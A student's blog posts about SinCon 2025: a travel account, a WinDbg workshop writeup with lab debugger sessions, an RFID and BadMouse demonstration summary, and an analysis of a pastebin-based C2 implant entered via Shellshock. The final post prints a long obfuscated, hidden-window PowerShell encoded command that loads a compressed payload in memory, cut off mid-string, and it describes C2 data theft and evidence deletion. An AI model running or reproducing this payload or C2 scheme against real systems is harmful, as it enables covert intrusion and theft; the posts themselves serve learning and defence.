gr1d-init

My Trip to SinCon2025

Wed, 28 May 2025 00:00:00 GMT

Attending SinCon 2025 was a valuable experience, filled with learning opportunities, networking, and interesting challenges at "kampungs". This blog will provide a rundown of the event.

The Journey to SinCon

The UTM curfew (12 AM to 6 AM) meant I had to start my journey at a specific time. I took the P211 bus from UTM to Larkin around 9 PM, followed by the P101 to JB Central. Fortunately, both of these bus rides were free of charge.

Before crossing the border, I took care of a couple of essentials: activating an international data roaming plan (RM30) and reporting my stay in Singapore via the MyICA app, which is linked to my passport.

From JB Central, I walked to the CIQ. After a passport scan, and then another, I proceeded to choose a bus. As my destination was Queen St, I boarded the CW2. Being my first time crossing the border without an EZLink card, I used my debit card for the bus fare. A quick wave of the card at JB CIQ, and I was on my way.

The ride from JB CIQ to Woodlands Checkpoint was approximately 5 minutes. It was not necessary to tap out with the debit card when arriving there. I scanned my passport at Woodlands, then re-boarded the CW2 (tapping my debit card again). The bus then continued to Queen St Terminal. Again, no tap-out was required upon arrival.

I spent my first night in Singapore at a McDonald's near Queen St Terminal, thanks to their complimentary Wi-Fi. There, I had an iced latte and configured my virtual machines and other necessary software for the upcoming SinCon workshops.

Early of the next morning, I went to the nearest MRT station by Queen St and purchased an EZLink card. The cost was 10 SGD (5 SGD for the card itself and 5 SGD in stored credit).

SinCon Day 1: Workshops and First Impressions

Upon arrival at Voco Orchard, the SinCon venue,

At registration desk, I received my pass and some conference souvenirs. Breakfast was provided, which was a welcome addition. Following that, we attended two keynote sessions.

Around 11 AM, as workshops were still being set up, I visited the AI Kampung. The moderator presented an impressive demonstration of using Copilot with Gemini 2.5 and Augment for rapid application development.

The demonstration highlighted how these tools could significantly impact the development of red and blue team tools in cybersecurity, bringing an evolution to the industry.

My first workshop was Shellshock, which proved to be quite insightful.

For more details, refer to:
https://gr1d-init.github.io/blog/sinconshellshock/

In between sessions, I visited the Electronic Badge Kampung and had my Dragon Badge soldered. It looked impressive.

After lunch, I attended the Windbg workshop. This session provided a solid introduction to the dynamic analysis of Windows binaries.

Further information can be found here:
https://gr1d-init.github.io/blog/sinconwindbg/

This concluded the first day of the conference.

Evening Activities and CTF Engagement

I traveled by bus to my accommodation, using my new EZLink card for payment. That evening, feeling quite overwhelmed, I nevertheless dedicated some time to the Dragon Badge CTF challenges.

My writeups for these challenges are available at:
https://gr1d-init.github.io/blog/sincondragonbadge/

SinCon Day 2: Hardware Hacking and Discoveries

The following morning, I returned to Voco Orchard for the second day of SinCon. After breakfast, I immersed myself in what became my favorite part of the conference: the Hardware Hacking Kampung, hosted by the bi0sctf team. Their team members were approachable, willing to teach, and I gained significant insights into hardware hacking. It was, in my opinion, the most engaging kampung.

I also participated in their hardware CTF and was pleased to win a CompatrIoT board. Look how sophisticated it is.

My writeup for this CTF:
https://gr1d-init.github.io/blog/sinconhardwarekampung/

After the hardware CTF, I visited the RFID Kampung. There, I received an introduction to BadUSB (casually referred to as "bad mouse") and other RFID-related topics.

More information on this can be found at:
https://gr1d-init.github.io/blog/sinconrfidkampung/

I also stopped by the Cyber Range Village, which featured pentest-style Active Directory CTFs.
I joined their community at rangevillage.org and discovered additional CTFs on playtrv.async.sg. Unfortunately, due to time constraints, I was unable to attend their AD workshop, but it is an area I intend to explore further.

And with that, SinCon 2025 concluded.

AfterCon: Exploring Singapore

With the conference finished, I took some time for sightseeing. I headed to Marina Bay and saw the Marina Bay Sands. I also had a view of the Merlion statue across the water. My visit included Gardens by the Bay, where I saw the iconic Supertree Grove.

It was then time to begin my journey back. I took the CW2 bus from Queen St Terminal. This time, scanning my EZLink card produced a yellow ticket.

The return journey mirrored my arrival: Woodlands Checkpoint (passport scan), re-boarded CW2, reached JB CIQ (another passport scan), then another CW2 ride to Larkin. From Larkin, the free P211 bus transported me back to UTM, concluding my trip safely.

Overall Experience and Reflections

Beyond the formal workshops and talks, SinCon provided an excellent opportunity to connect with fellow cybersecurity enthusiasts and join new communities. It was a highly positive experience overall, with the hardware hacking session led by the bi0sctf team being a particular highlight.

Acknowledgements

I extend my sincere gratitude to InfoSec in the City for selecting me for the SinCon 2025 student scholarship. I also offer massive thanks to the bi0sctf team for their hardware hacking session, all the speakers for their insightful workshops, the event crews for their hard work in ensuring the event ran smoothly, and everyone I had the pleasure of meeting. I learned a great deal from these interactions.

Budget Breakdown (Approximate)

Here is an estimated breakdown of my expenses. All SGD amounts have been converted to MYR using an approximate exchange rate of 1 SGD ≈ 3.29 MYR (based on rate from xe.com, May 27, 2025).

| Item | Cost (SGD) | Cost (MYR) | | :---------------------------------------- | :---------: | :---------: | | Accommodation | - | 130.00 | | International Data Roaming | - | 30.00 | | EZLink Card Purchase (Fee) | 5.00 | 16.46 | | EZLink Card Purchase (Initial Credit) | 5.00 | 16.46 | | Transport (Singapore - EZLink top-ups) | 10.00 | 32.92 | | Transport (Malaysia - buses) | - | 4.80 | | Food & Drinks (McDonald's Iced Latte) | 1.00 | 3.29 | | Total | 21.00 | 233.93 |

In summary, it was an enriching and insightful trip. I look forward to future adventures among the communities.

WinDbg Workshop at SinCon 2025

Tue, 27 May 2025 00:00:00 GMT

I attended an insightful WinDbg workshop at SinCon 2025. This writeup covers the key concepts, tools, and techniques discussed during the session, including practical examples and my key takeaways.

Key Concepts Covered

The workshop covered fundamental WinDbg navigation and dynamic analysis techniques. A key focus was the x64 calling convention, which dictates how arguments are passed to functions and how return values are handled. This convention is similar to Linux syscalls, but with a different register order for arguments, starting with RCX instead of RDI.

x64 Calling Convention Summary:

Return value: rax
1st argument: rcx
2nd argument: rdx
3rd argument: r8
4th argument: r9
5th argument: rsp + 0x28
6th argument: rsp + 0x30 (rsp + 0x28 + 4)

Additionally, the workshop covered practical skills such as setting breakpoints at the main entry point and other decision points within the code. We learned to inspect register contents to understand the arguments passed to key functions and to analyze memory dumps to identify the information required to satisfy program checks

Setting up breakpoints

| Command | Use | | ---------------- | ------------------------------------------------------- | | bp XX | Set a breakpoint at XX | | bp $entry | Set a breakpoint at the entry point | | bl | List breakpoints | | bc X \| bd X | Clear \| disable breakpoint index X | | ? module!func* | Check if the address of a target function is “resolved” | | lm | List Modules (shows loaded modules’ info) |

Executing through

| Command | Use | | ------------ | ----------------------------------- | | k | Display the function call stack | | p | Step over the next instruction | | pc \| pt | Step until next call \| next return | | t | Step into the next instruction | | g | Go: execute until a breakpoint/stop |

Interacting with registers

| Command | Use | | -------------- | ----------------------------------------------------- | | r | “Display registers”: shows content of major registers | | ? XX | “Show what X contains” | | d(b\|w\|d\|q) | Display X as byte\|word\|dword\|qword |

Advanced Techniques

(e.g., Scripting, extensions, memory analysis, crash dump analysis)

Practical Exercises

Lab0

First, I examined the program's behavior by running it:

It ask the user to enter an input and check if it is true, else, showing wrong password,

So, I use windbg

0:000> bp Lab0!main
breakpoint 0 redefined
0:000> g
Breakpoint 0 hit
Lab0!main:
00007ff6`d5931120 4889542410      mov     qword ptr [rsp+10h],rdx ss:000000f2`c54ffa38=00007ff6d59315c9
0:000> pc
Lab0!main+0x31:
00007ff6`d5931151 e86a000000      call    Lab0!printf (00007ff6`d59311c0)
0:000> pc
Lab0!main+0x3d:
00007ff6`d593115d e85e000000      call    Lab0!printf (00007ff6`d59311c0)
0:000> pc
Lab0!main+0x54:
00007ff6`d5931174 e8c7000000      call    Lab0!wscanf_s (00007ff6`d5931240)
0:000> pc
Lab0!main+0x62:
00007ff6`d5931182 e879feffff      call    Lab0!VerifyInput (00007ff6`d5931000)
0:000> t
Lab0!VerifyInput:
00007ff6`d5931000 48894c2408      mov     qword ptr [rsp+8],rcx ss:000000f2`c54ff7e0={Lab0!_NULL_IMPORT_DESCRIPTOR <PERF> (Lab0+0x29098) (00007ff6`d5959098)}
0:000> t
Lab0!VerifyInput+0x9:
00007ff6`d5931009 488d0df07f0200  lea     rcx,[Lab0!_NULL_IMPORT_DESCRIPTOR <PERF> (Lab0+0x29000) (00007ff6`d5959000)]
0:000> t
Lab0!printf:
00007ff6`d59311c0 48894c2408      mov     qword ptr [rsp+8],rcx ss:000000f2`c54ff7a0=0000000000000000
0:000> db rcx
00007ff6`d5959000  43 68 65 63 6b 69 6e 67-20 69 6e 70 75 74 2e 2e  Checking input..
00007ff6`d5959010  0a 00 00 00 00 00 00 00-49 00 4c 00 6f 00 76 00 65 00 57 00 69 00 6e 00 64 00 62 00 67 00 00 00  e.W.i.n.d.b.g...
00007ff6`d5959030  57 6f 68 6f 6f 2c 20 77-65 6c 6c 20 64 6f 6e 65  Wohoo, well done
00007ff6`d5959040  21 0a 00 00 00 00 00 00-57 72 6f 6e 67 20 70 61 73 73 77 6f 72 64 2e 20 54 72 79 20 61 67 61 69  ssword. Try agai
00007ff6`d5959060  6e 21 0a 00 00 00 00 00-2d 2d 2d 2d 2d 2d 20 4c 61 62 20 30 20 2d 2d 2d 2d 2d 2d 0a 00 00 00  lab 0 ------.....
0:000> g
ModLoad: 00007ff8`74370000 00007ff8`7438a000   C:\WINDOWS\SYSTEM32\kernel.appcore.dll
ModLoad: 00007ff8`77880000 00007ff8`77929000   C:\WINDOWS\System32\msvcrt.dll
ntdll!NtTerminateProcess+0x14:
00007ff8`785824f4 c3              ret

My approach was to first set a breakpoint at the main function. Then, I used the pc (step to next call) command repeatedly to navigate through the execution flow until I reached the VerifyInput function.

At this point, I switched to the t (trace into) command to step into VerifyInput. I continued stepping until I observed the rcx register being used to pass an argument. Dumping the memory pointed to by rcx revealed that the program expected the input to be ILoveWindbg to pass the check.

After discovering the required input, I reran the program. This time, with the correct input, the program successfully passed the check and displayed a "well done" message, as shown below:

Lab 1

First, I examined the initial behavior of the Lab 1 program:

The program appeared to be searching for a specific file within the C:\\Windows\\System32 directory and exiting if not found.

Next, I used WinDbg to investigate which file it was looking for and what its requirements were.

0:000> bp Lab1!main
breakpoint 0 redefined
0:000> g
Breakpoint 0 hit
Lab1!main:
00007ff6`24c31060 4889542410      mov     qword ptr [rsp+10h],rdx ss:0000006f`da11f758=00007ff624c49fd3
0:000> pc
Lab1!main+0x8b:
00007ff6`24c310eb ff150f2f0400    call    qword ptr [Lab1!_imp_GetCurrentDirectoryA (00007ff6`24c74000)] ds:00007ff6`24c74000={KERNEL32!GetCurrentDirectoryAStub (00007ff8`77f25ed0)}
0:000> pc
Lab1!main+0xd0:
00007ff6`24c31130 e88b670100      call    Lab1!strcpy_s (00007ff6`24c478c0)
0:000> pc
Lab1!main+0xe9:
00007ff6`24c31149 e8126e0100      call    Lab1!strcat_s (00007ff6`24c47f60)
0:000> pc
Lab1!main+0xfb:
00007ff6`24c3115b ff15af2e0400    call    qword ptr [Lab1!_imp_FindFirstFileA (00007ff6`24c74010)] ds:00007ff6`24c74010={KERNEL32!FindFirstFileA (00007ff8`77f37330)}
0:000> pc
Lab1!main+0x1bb:
00007ff6`24c3121b ff15f72d0400    call    qword ptr [Lab1!_imp_FindNextFileA (00007ff6`24c74018)] ds:00007ff6`24c74018={KERNEL32!FindNextFileA (00007ff8`77f373a0)}
0:000> pc
Lab1!main+0x149:
00007ff6`24c311a9 e8f26d0100      call    Lab1!strcmp (00007ff6`24c47fa0)
0:000> t
Lab1!strcmp:
00007ff6`24c47fa0 482bd1          sub     rdx,rcx
0:000> db rcx
0000006f`da11f21c  30 61 65 33 62 39 39 38-2d 39 61 33 38 2d 34 62  0ae3b998-9a38-4b
0000006f`da11f22c  37 32 2d 61 34 63 34 2d-30 36 38 34 39 34 34 31  72-a4c4-06849441
0000006f`da11f23c  35 31 38 64 5f 53 65 72-76 69 63 69 6e 67 2d 53  518d_Servicing-S
0000006f`da11f24c  74 61 63 6b 2e 64 6c 6c-00 01 00 00 c7 00 00 00  tack.dll........
0000006f`da11f25c  00 00 00 00 00 00 00 00-00 00 00 00 f1 6c 43 78  .............lCx
0000006f`da11f26c  f8 7f 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0000006f`da11f27c  f6 7f 00 00 00 00 00 00-00 00 00 00 60 00 2c 40  ............`.,@
0000006f`da11f28c  00 00 00 00 00 00 00 00-00 00 00 00 80 04 00 00  ................
0:000> db rdx
00007ff6`24c89050  69 6e 70 75 74 2e 74 78-74 00 00 00 00 00 00 00  input.txt.......
00007ff6`24c89060  5b 2b 5d 20 53 65 65 69-6e 67 20 66 69 6c 65 3a  [+] Seeing file:
00007ff6`24c89070  20 25 73 2e 2e 2e 20 46-6f 75 6e 64 20 66 69 6c   %s... Found fil
00007ff6`24c89080  65 2c 20 63 68 65 63 6b-69 6e 67 20 63 6f 6e 74  e, checking cont
00007ff6`24c89090  65 6e 74 0a 00 00 00 00-5b 69 5d 20 53 65 65 69  ent.....[i] Seei
00007ff6`24c890a0  6e 67 20 66 69 6c 65 3a-20 25 73 2e 2e 2e 20 57  ng file: %s... W
00007ff6`24c890b0  72 6f 6e 67 20 69 6e 70-75 74 0a 00 00 00 00 00  rong input......
00007ff6`24c890c0  5b 2d 5d 20 43 6f 75 6c-64 20 6e 6f 74 20 66 69  [-] Could not fi

My debugging process started by setting a breakpoint at the main function (bp Lab1!main). I then used the pc (step to next call) command to iterate through the execution. This continued until I encountered a call to strcmp. Using the t (trace into) command, I stepped into strcmp and examined the arguments passed in rcx and rdx. This revealed that the program was checking for the existence of input.txt in the C:\\Windows\\System32 directory.

To observe the program's behavior with the file present, I created input.txt in the C:\\Windows\\System32 directory and initially filled it with the string "test" for further analysis:

Upon re-examining the program's behavior with input.txt present, I again set a breakpoint at main and used pc to step through. I noticed the program seemed to loop when checking for input.txt. To understand why, I used the u (unassemble) command to inspect the assembly code and found a jne (jump if not equal) instruction causing the loop.

To bypass this loop and proceed to the next stage, I set a new breakpoint (bp) at the address immediately following the jne instruction. Using the g (go) command, I ran the program until this new breakpoint was hit, successfully moving past the file existence check.

Continuing with pc, I eventually encountered another strcmp call. This time, it was checking the content of input.txt. I used t to trace into this strcmp and then db to dump the contents of rcx and rdx. This revealed that the program expected the content of input.txt to be "Lab1.exe". My placeholder "test" string was visible in rdx, confirming the check.

Knowing the required content, I modified input.txt to contain "Lab1.exe":

After rerunning the dynamic analysis with the corrected input.txt, the program successfully passed all checks and displayed a "good input!" message:

Visualizing Execution Flow with DrawMeATree

View the DrawMeATree GitHub repository

One particularly interesting tool introduced was DrawMeATree. This Python tool converts the output of WinDbg's wt (Watch Trace) command into customizable graphical trees. This can be incredibly helpful for:

Identifying components, functionalities, and the overall operation of a program.
Highlighting connections between functions and modules.
Summarizing large and complex amounts of information using custom filters.

DrawMeATree Filtering Methodology:

Generate wt output into a log file.
Identify the maximum depth required for filtering (or regenerate from a function of interest if the trace is too large).
Remove irrelevant "high-level" nodes that would clear entire branches (e.g., allocation/freeing phases, default routines, string handling).
Remove nodes/modules that do not help answer your initial debugging question.

A general debugging methodology incorporating DrawMeATree could be:

Start debugging at a chosen point (e.g., bp $exentry, bp module!FunctionX).
If you don't have a specific target, use wt and then DrawMeATree to get a better overview of the execution flow.
Get as close as possible to your target and observe its behavior.

Conclusion & Takeaways

This WinDbg workshop provided valuable insights into dynamic analysis on Windows and the practical application of WinDbg for reverse engineering. The hands-on labs effectively demonstrated the x64 calling convention, memory inspection techniques, and breakpoint usage. The introduction to DrawMeATree also highlighted a method for visualizing program execution flow.

Key takeaways:

Essential WinDbg commands for debugging.
A clearer understanding of the x64 calling convention and its importance in analyzing function arguments and return values.
Systematic debugging methodology: observe, hypothesize, test, and iterate.

The SinCon RFID Research Kampung

Mon, 26 May 2025 00:00:00 GMT

The RFID Research Kampung at SINCON 2025 was a hands-on workshop where we could explore various RFID security tools and learn about real-world attack scenarios. Here's what went down during the session.

The RFID Research Kampung setup at SINCON 2025

RFID Tools Available

The kampung featured several professional RFID security tools:

Proxmark3 — A powerful RFID tool for reading, cloning, and emulating access cards
Flipper Zero — A multi-functional pentesting device for NFC, RFID, and wireless systems
ChameleonUltra — An advanced RFID card emulation and cloning device
RFID Detectors — Including the Proxgrind signal sniffer for real-time RFID signal analysis

RFID Card Cloning Demonstration

Basic RFID Attack Workflow

The first demonstration covered a straightforward RFID attack process:

Reading the UID: Using Proxmark3 CLI to extract the card's UID
Cloning with Flipper Zero: Copying the UID and configuring the Flipper Zero to emulate the original card
Testing: Attempting to unlock an RFID-protected lock with the emulated card

Reading RFID card UID using Proxmark3

Successfully unlocking RFID lock with Flipper Zero as cloned card medium

Touch 'n Go Card Analysis

We also observed participants working with Touch 'n Go RFID cards (SMART Tag MaxTag), demonstrating how Proxmark3 can analyze and potentially modify the stored balance on these contactless payment cards.

Touch 'n Go RFID card analysis session

BadMouse Demonstration

Hardware Modification Process

The BadMouse demonstration showed how everyday USB devices can be weaponized. The process involved:

Installing USB Ninja Module: The module acts as a wireless receiver inside the mouse
Wireless Control Setup: A separate transmitter device enables remote control of the compromised mouse

USB Ninja module installed as receiver in the mouse

Wireless transmitter device for remote control

Attack Execution Methods

The attack can be executed in two different modes:

Live Attack Mode: Real-time command execution
Scripted Attack Mode: Pre-programmed payload execution for more complex attacks

Attacker interface showing command queuing and execution options

The demonstration showed how an attacker can remotely execute commands on a victim's machine through what appears to be an ordinary mouse.

Victim machine being controlled through the BadMouse attack

Key Observations

RFID systems are vulnerable — Simple UID-based authentication can be easily cloned
Physical access = game over — Direct device access enables sophisticated attacks
Trust your hardware sources — Common USB devices can be weaponized with minimal effort

SinCon Shellshock & C2 Attack Analysis

Mon, 26 May 2025 00:00:00 GMT

Command & Control (C2) Attack Analysis - Beginner's Guide

What Is This?

The pastebin-like website used in the C2 demonstration.

This analyzes a Command and Control (C2) attack that uses a pastebin website to remotely control computers. It was demonstrated in a cybersecurity workshop to teach students about modern hacking techniques.

Key Facts:

Attack Type: Remote computer control via website messaging
Entry Method: Shellshock vulnerability (CVE-2014-6271)
Communication: Pastebin website as secret message board
Danger Level: Very stealthy - looks like normal web browsing

Simple Analogy: Like using a library bulletin board to leave secret notes between a spy and their target.

How C2 Attacks Work

The Basic Process

Initial Compromise: Hacker exploits Shellshock bug to break into computer
Implant Installation: Plants spy program (binpaste_client_p1.py) on victim computer
Communication Setup: Both attacker and victim programs use same pastebin account
Command & Control: Continuous cycle of commands and data theft

Why Use a Website Instead of Direct Connection?

Stealth: Looks like normal pastebin usage
Evasion: Hard to block without affecting legitimate users
No Direct Trail: Attacker never connects directly to victim
Multiple Victims: One website can control many computers

Real-World Impact: Victim's passwords, files, and personal data get stolen without them knowing.

Communication Protocol (9-Step Process)

Diagram illustrating the 9-step communication protocol between attacker, C2 server (pastebin), and implant.

🚀 Setup Phase

Step 1: 🔴 Red Team to binpaste
Initial login (-u eviluser -p eviluser)
Attacker's program connects to pastebin and authenticates.

Step 2: 💻 Implant to binpaste
Initial login (-u eviluser -p eviluser)
Victim's spy program also logs into same pastebin account.

🔄 Command Execution Cycle

Step 3: 👀 Implant to binpaste
GET: Polling the main page for new commands
Every 10 seconds, victim computer checks: "Any new orders for me?"

Step 4: 📝 Red Team to binpaste
POST: Paste the command
Attacker posts command like "list all files" or "steal passwords".

Step 5: 📥 Implant to binpaste
GET: Fetch the command
Victim computer finds the command and downloads it.

Step 6: 📤 Implant to binpaste
POST: Paste the result
Victim executes command and uploads stolen data/results.

🧹 Cleanup Phase

Step 7: 🗑️ Implant to binpaste
POST: Delete the command
Victim removes the original command to hide evidence.

Step 8: 📥 Red Team to binpaste
GET: Fetch the result
Attacker downloads the stolen data/results.

Step 9: 🗑️ Red Team to binpaste
POST: Delete the result
Attacker removes all traces of the conversation.

🔑 Key Feature: Automatic evidence removal makes detection extremely difficult - it's like the conversation never happened!

Technical Components

Two-Program Architecture

Controller (binpastec2_p1.py) - Attacker's command interface

Sends commands via pastebin posts
Retrieves stolen data from victim computers
Can control multiple victims simultaneously

Agent (binpaste_client_p1.py) - Victim's implant

Polls pastebin every 10 seconds for new commands
Executes commands and uploads results
Automatically cleans up evidence

Attack Advantages

Legitimate Infrastructure: Uses real pastebin service
Encrypted Channel: HTTPS traffic appears normal
Scalable: One controller handles multiple victims
Persistent: Continues running until manually removed

Workshop Context

The workshop setup showing the attacker and victim machines.

Example of code modification required in the workshop scripts.

Educational Demonstration Only:

Controlled environment with test systems
Scripts contain incomplete code marked # (your code here)
No actual victims or data theft occurred
Used legitimate pastebin service for demonstration

Learning Objectives:

Understand modern C2 communication methods
Recognize legitimate services used maliciously
Practice detection and response techniques
Learn defensive strategies

Key Takeaways

This attack is smart because it looks completely normal - just regular visits to a pastebin website. The hacker doesn't need special servers or suspicious connections. The 10-second check-ins are perfectly timed: fast enough to work well, slow enough to stay hidden.

What makes this really scary is how it cleans up after itself. Most computer viruses leave clues behind, but this one automatically deletes everything as it goes. It's like having a conversation that erases itself - investigators can't figure out what happened.

The Shellshock workshop also covered methods used by attackers to evade antivirus detection with their payloads. The following analysis, also part of the workshop materials, delves into PowerShell-based AV evasion techniques.

PowerShell Payload AV Evasion Analysis

This document analyzes the multi-layered techniques a PowerShell payload uses to evade Antivirus (AV) detection, primarily through obfuscation and in-memory execution.

Initial Encoded Command

The attack begins with a heavily obfuscated PowerShell command, executed stealthily:

powershell.exe -NoLogo -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -EncodedCommand aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAkAGUAbgB2ADoAdwBpAG4AZABpAHIAKwAnAFwAcwB5AHMAbgBhAHQAaQB2AGUAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQBlAGwAcwBlAHsAJABiAD0AJwBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAJwB9ADsAJABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG9jAGUAcwBTAHQAYQByAHQASQBuAGYAbwA7ACQAcwAuAEYAaQBsAGUATgBhAG0AZQA9ACQAYgA7ACQAcwAuAEEAcgBnAHUAbQBlAG4AdABzAD0AJwAtAG4AbwBwACAALQB3ACAAaABpAGQAZABlAG4AIAAtAGMAIAAmACgAWwBzAGMAcgBpAHAAdABiAGwAbwBjAGsAXQA6ADoAYwByAGUAYQB0AGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwJ5AFMAdAByAGUAYQBtAFIAZQBhAG0AKAAuAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAoACgAJwAnAEgANABzAEkAQQBQAHQASQBMAFcAZwBDAEEANwBWAFgAYgBXACsAYgBTAEIARAArAFgAcQBuAC8AQQBWAFcAVwBqAEYAWABIAEwANgBtAFQAcABwACcAJwArACcAJwBFAGkAMwBXAEoARABqAEcAcwBuAEoAaABqAGMAMgBMAFYATwBHAEIAYgBZAGUAQQAwAEUARgB0AHUAawAxAC8AOQArAHMAeABqAHkAbwBqAHAAMwB1AHsAMQB9AE8ASwBoAE0AegB1AHoAcwB6AE8AUAB2AFAATQB6AE4AcABOAEEANQB1AFIATQBCAEEAaQBTAHgAewAxAH0AKwB2AEgAOABuAEYATQAvAFkAaQBxADIAMQBJAEYAYgB1AEIAaQBkADEAbwBXAEwAOQBPAFUARwBuAHQAYQBmAFYAUwBuAFEAagBuADYAMgBFAEMAMABHAGMAbwB5AGoAcQBoAFcAdQBMAEIASQB2ACcAJwArACcAJwB6ADgAMgA0AGEAeAB6AGgAZwArADMASABqAEUAagBPAFUASgBIAGkAOQBwAEEAUQBuAFkAawAzADQAUwA1AGoANgBPAE0AewAxAH0ASAAxADgAcwA3AGIARABQAGgAaAAxAEQANQBzADMARgBKAHcANgBWAEYAQwA3AEcAcwBhADkAawArAEYAbwA1AFEANABQAEMAMQBZAFcAaABiADMATABXAEcASABsAEgAQwB4AE8AcgAzADcAOQBYAGEALwBLAGkAOQBhAE0AagAzAHEAVQBVAFQAcwBhAHAAbgBDAGMAUAByAGgAawAnACcAKwAnACcATgBwAHQAUwBiADgAcgBQAEUATgBKADEAbQBFAHgAZQBxAEkAMgBIAEcAWQBoAEMANQByAFQARQBuAHcANgBiAGgAaABCAEkAbgBsADQAaQB1AHcAdABzAEUAagB6AFAAegBRAFMAYQBwAHcAbQBxAGYAegB4AEoAaQBsAGMAVgBBAGMAaQA5AHYAewAxAH0AUwA0AGwAVgArAEIAegBIAG8AWQAwAGMASgA4AHsAMQB9AEoAVQBxADAATABjADcANwBEAGYATABIADQAUQA1AHcAWAAyADkAKwBrAEEAUwBOAHIAMwBGAEEARABoAHUATQB3ADAAbgBHADgASQBUAHsAMQB9AE8ARwBuADAAcgBjAEMAaQArAHcAZQA0AEMAdABIAFEAVwBrADgAQgBiADEARwBvAGcAdABnAGwAWABXAEsAdwBFAEsAYQBWADEANABiACsAWQBFAGEALwB3AHQAZwBUAHYAcgBVAHIAaQBjAHkAVwBRAEcAcgBPADQAVgBvAGUAdwBIAGoAcgBvAEsASABSAFMAaQB2AGUAcQAxAFEATwBlAGMAaQA3AFUANABIAG4AawBBACcAJwArACcAJwAwAEQANABrADYAUABvAGwAaAAnACcAKwAnACcAegBhAGYASgBzAGQANABOAEQAVABSAFAAbgBNADgAeABVAE0AUABvAHYAagBNAEMARwA1ADcAbwBYAFEAcQBnAHMAagAyAE4AeABpAFkAewAxAH0AegBCAHMARABLAEoAVQAxAHgAYgBQAEMASQB1AFYATwB3AG8ATwBBAG4AcgBiAHoAWABYAEwAbgBWAEIATQA3AE8AWABNAEQATQAzAFEAKwBJAHMAbgB2AFIAZgBVAEsAQgBpAFgAYgBwAGMANQBuAFUAKwA5ADcAQgBMAEEAdAB6AEwAQQBtAHQATgA3AEoASwB5ADQAcQBHAG8AWQBKAGYAaQBIAEoARgBHAEsAWABZAEYALwBvAG4AVgBZAGcARQA3AFAAVQB5AHgAewAxAH0AegBFAE8ATQB5AGYASABMADIAcgB5AG0AcgBCAEgAWABTAGsAbAAxAE0ARQB4AHMAaQBHAHkAQwBYAGcARgBRAGEAKwA5AGQARwBZAGYATwBiAEcAcQBCAGkATwA4AEIAdgBUADIAWQAyAEIAcgB4AFkAVgBFAHcAYQBWADAAawBSAHgAewAxAH0AdQBUAHMAZgBnADEAQwAxAFMANgAwAGsAcQBRAHYAagBGAEQATABWAHIAZwBzADYAdABpAGgAMgA2AGcASQBLAEUAbABJAHMAbwB7ADEAfQBTAEYAKwBXAGYAMQB5AGQAMQBSAFMAaABtAHgAcgBZAFMAVgA1AGgAYQAxAGwAMgBnAFcAdQAzAGIARABJAEcARgB4AGEAawBOAFkAQQBZAEcASgAnACcAKwAnACcASABtAEcAYgBXAEoAUQBEAFUAaABmADYAeABNAEYAUwBwAGgATwB2ADMATAAxADYARQBJADYAdQBSAFMAbQBrAEQAMQBqAGEAUQBEAGgAZwBoAHMATwBnAE0AMAA2AFcARwBCAHoAZABFADYAUABXADAARABGAFQAMQB4AEgARgBhAHgARABLAEsANABkAEMATABRAC8AcQBSAEoARQBsAE8AYgAwAHMARAB6AHYAJwAnACsAJwAnAFYAdwA0ADYAVwBxAGIARABuAFAAUQBlAG0AUgBPAFMAewAxAH0AbQB4AEIAdABuAFkAYQBzAEwAcABnAGsAewAxAH0AbABDAEcATwBNAGoAQQByAHYALwBuAHgASwA4AEYAaQBIAHYAVABqAFgARQBSAEgATABIAE0AcwBMAG0AVQBNAHsAMQB9ADQARABsAFUAUwAvAFYAVABzAEwAQwA0AHgAeQBSAEcASQBHAGEAQwBoAHgAdQBKAGEAJwAnACsAJwAnAHMAQgBKADkAMgA5AHEAVgBHAC8ATgBDAFUAUwBlADkAawAzAEEAdQAzAEMAQgA1AHsAMQB9AHUAZABGAE0AUwBUAGYATQBtAFQAcAB5AEIAbABSAFgAbQBYADQAcgBrADYASABoACsAeQBwAHAAcQB4ADYAJwAnACsAJwAnAE0ATQAwAFAAMgB4AHEAdwBWAGYAewAxAH0AMQBNACsAZwBPADkAMQAwAGQAeABiACsAZQA3AFMARQAxAFUAdQBTADkAbABXAGwAdABDAGQAcAA5ADgATgBnAGUAUwBZAFkAQQBlADYAUQA2ADEAdQA1ADIASwBuAE8ANwBRAFUAegAzAFkAUQBGAEoAOQBXADIAcgBOAFcAcAA3AFUAVQByAHAARABYAGYASgBsADAAawBLAGUAcgB2AFcAMQBUAG4AdQBtAE4AcwArAG8AUgBCADUAMABWACcAJwArACcAJwBVAGYAOQA2AGEAUAA5AFIANwB0AHkAcAA5AFAALwB0AHAAdQBnAHEAOQBFAEEAKwBjAHEAMQBvADcAUwBQAGwAVgB4AC8AeABmAFYAbgBxADgAdABoAFQAOAA3AEgATgBoADkAcgB0ADQAbABNAHsAMQB9AE4AaABIAFYAbQA0ADEAMAA4AGQAVABNADUASwBtAHMAagBMAFQAegBFAGoAMQBQAG0ANAA5AHoAUgB3ACcAJwArACcAJwAyAE8ANABvAHYAJwAnACsAJwAnAHcAYgB4AEsAZABzAFAASQBiAE0ATABUAGIAZwA4ADIAZwBmAE0AdwBvAG0AJwAnACsAJwAnAGMAUABJADMAQgBYAE0AMgBjAEQAZwBtAGUAcQBoAHoATQBQAGEAUQBqAHAAdAB3AEgAVgBsADkAc